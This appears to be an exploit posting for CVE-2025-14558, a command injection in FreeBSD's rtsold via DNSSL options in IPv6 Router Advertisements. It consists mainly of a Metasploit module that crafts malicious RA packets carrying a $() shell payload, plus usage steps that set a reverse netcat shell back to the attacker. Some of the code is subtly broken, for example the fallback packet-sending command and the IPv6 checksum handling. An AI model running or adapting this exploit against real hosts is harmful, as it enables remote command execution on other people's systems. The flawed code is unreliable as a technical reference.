FreeBSD 15.x rtsold DNSSL Command Injection

=============================================================================================================================================
| # Title FreeBSD 15.x rtsold DNSSL Command Injection

=============================================================================================================================================
| # Title : FreeBSD 15.x rtsold DNSSL Command Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://www.freebsd.org/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/213577/ & CVE-2025-14558

[+] Summary : This Metasploit module targets a command injection vulnerability in the FreeBSD rtsold daemon related to the handling of DNSSL (DNS Search List) options in IPv6 Router Advertisements.
Due to improper validation of domain names, attacker-controlled DNSSL values can inject shell commands via $() substitution when processed by the resolvconf script.
Successful exploitation requires Layer 2 adjacency and ACCEPT_RTADV enabled on the target, and may result in remote command execution on vulnerable FreeBSD systems prior to the official patches.

[+] Usage :

msfconsole
msf> use exploit/bsd/ipv6/rtsold_dnssl_rce
msf> set INTERFACE eth0
msf> set PAYLOAD cmd/unix/reverse_netcat
msf> set LHOST 192.168.1.100
msf> set LPORT 4444
msf> exploit

[+] POC :

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Raw
include Msf::Exploit::Remote::Ipv6
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'FreeBSD rtsold DNSSL Command Injection',
'Description' => %q{
This module exploits CVE-2025-14558, a command injection vulnerability in
FreeBSD's rtsold daemon. The vulnerability exists in the processing of
DNSSL (DNS Search List) options in IPv6 Router Advertisements.

rtsold processes DNSSL options without validating domain names for shell
metacharacters. The decoded domains are passed to resolvconf(8), a shell
script that uses unquoted variable expansion, enabling command injection
via $() substitution.

This exploit requires layer 2 adjacency to the target and the target must
be running rtsold with ACCEPT_RTADV enabled.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-14558'],
['URL', 'https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc'],
['URL', 'https://github.com/JohannesLks/CVE-2025-14558']
],
'DisclosureDate' => '2025-12-16',
'Platform' => 'bsd',
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => '',
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic'
}
},
'Targets' => [
['FreeBSD 13.x-15.x (before patches)', {}]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
))

register_options([
OptString.new('INTERFACE', [true, 'Network interface to use', 'eth0']),
OptInt.new('COUNT', [true, 'Number of RA packets to send', 3]),
OptInt.new('ROUTER_LIFETIME', [true, 'Router lifetime in seconds', 1800]),
OptString.new('SOURCE_MAC', [false, 'Source MAC address (defaults to interface MAC)']),
OptString.new('SOURCE_IPV6', [false, 'Source IPv6 address', 'fe80::1'])
])

deregister_options('RHOSTS', 'RPORT')
end

def check

Exploit::CheckCode::Unknown
end

def encode_domain(name)
result = ""
name.split(".").each do |label|
next if label.empty?
data = label
result << [data.length].pack('C') + data
end
result << "\x00"
end

def encode_payload(cmd)
payload = "$(#{cmd})"

if payload.length > 63
result = ""
while !payload.empty?
chunk = payload.slice!(0, 63)
result << [chunk.length].pack('C') + chunk
end
result << "\x00"
else
[payload.length].pack('C') + payload + "\x00"
end
end

def build_dnssl_option(cmd, lifetime = 0xFFFFFFFF)
data = encode_domain("x.local") + encode_payload(cmd)

pad_len = (8 - (data.length + 8) % 8) % 8
data << "\x00" * pad_len

length = (8 + data.length) / 8

dnssl = [
31, # Type: DNSSL (31)
length, # Length
0, # Reserved
lifetime # Lifetime
].pack('CCnN')

dnssl + data
end

def build_router_advertisement
src_mac = datastore['SOURCE_MAC']
src_mac ||= get_mac(datastore['INTERFACE'])

eth = PacketFu::EthPacket.new
eth.eth_saddr = src_mac
eth.eth_daddr = "33:33:00:00:00:01" # All-nodes multicast

ipv6 = PacketFu::IPv6Packet.new
ipv6.ipv6_hop = 255
ipv6.ipv6_saddr = datastore['SOURCE_IPV6']
ipv6.ipv6_daddr = "ff02::1" # All-nodes multicast


ra_header = [
134, # Type: Router Advertisement
0, # Code
0, # Checksum (will be calculated later)
64, # Cur Hop Limit
0, # Flags (M=0, O=1)
1800 # Router Lifetime
].pack('CCnCCn')

slaac_opt = [
1, # Type: Source Link-Layer Address
1, # Length in 8-octet units
src_mac.gsub(':', '').scan(/../).map { |x| x.hex }
].flatten.pack('CCa6')

prefix_opt = [
3, # Type: Prefix Information
4, # Length in 8-octet units
64, # Prefix Length
0x80, # Flags (L=1, A=1)
0, # Valid Lifetime
0, # Preferred Lifetime
0, # Reserved
# Prefix: 2001:db8::
0x20, 0x01, 0x0d, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
].pack('CCCCNNNa16')

dnssl_opt = build_dnssl_option(payload.encoded)

icmp_payload = ra_header + slaac_opt + prefix_opt + dnssl_opt

checksum = ipv6_checksum(ipv6, icmp_payload)
icmp_payload[2, 2] = [checksum].pack('n')

eth.body = ipv6.to_s + icmp_payload
eth
end

def ipv6_checksum(ipv6_packet, payload)

pseudo_header = [
ipv6_packet.ipv6_saddr.split(':').map { |x| x.hex }.pack('n*'),
ipv6_packet.ipv6_daddr.split(':').map { |x| x.hex }.pack('n*'),
payload.length,
0,
58 # ICMPv6 protocol number
].pack('a16a16NNn')

sum = 0
(pseudo_header + payload).unpack('n*').each do |word|
sum += word
end

while sum > 0xffff
sum = (sum & 0xffff) + (sum >> 16)
end

~sum & 0xffff
end

def get_mac(interface)

mac = nil
File.open("/sys/class/net/#{interface}/address", "r") do |f|
mac = f.read.strip
end
mac
rescue
nil
end

def exploit
print_status("Building malicious Router Advertisement...")
packet = build_router_advertisement

print_status("Sending #{datastore['COUNT']} RA packets via #{datastore['INTERFACE']}...")

datastore['COUNT'].times do |i|
begin
send_packet(packet, datastore['INTERFACE'])
print_good("Sent RA packet #{i + 1}/#{datastore['COUNT']}")
sleep 1 if i < datastore['COUNT'] - 1
rescue => e
print_error("Failed to send packet #{i + 1}: #{e.message}")
end
end

print_status("Exploit complete. Check for session.")
end

def send_packet(packet, interface)

pcap = PCAPRUB::Pcap.open_live(interface, 65535, true, 0)
pcap.inject(packet.to_s)
pcap.close
rescue LoadError

system("echo '#{packet.to_s.unpack('H*').first}' | xxd -r -p | sudo ip -6 neigh add ff02::1 dev #{interface} nud permanent")
end
end

Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================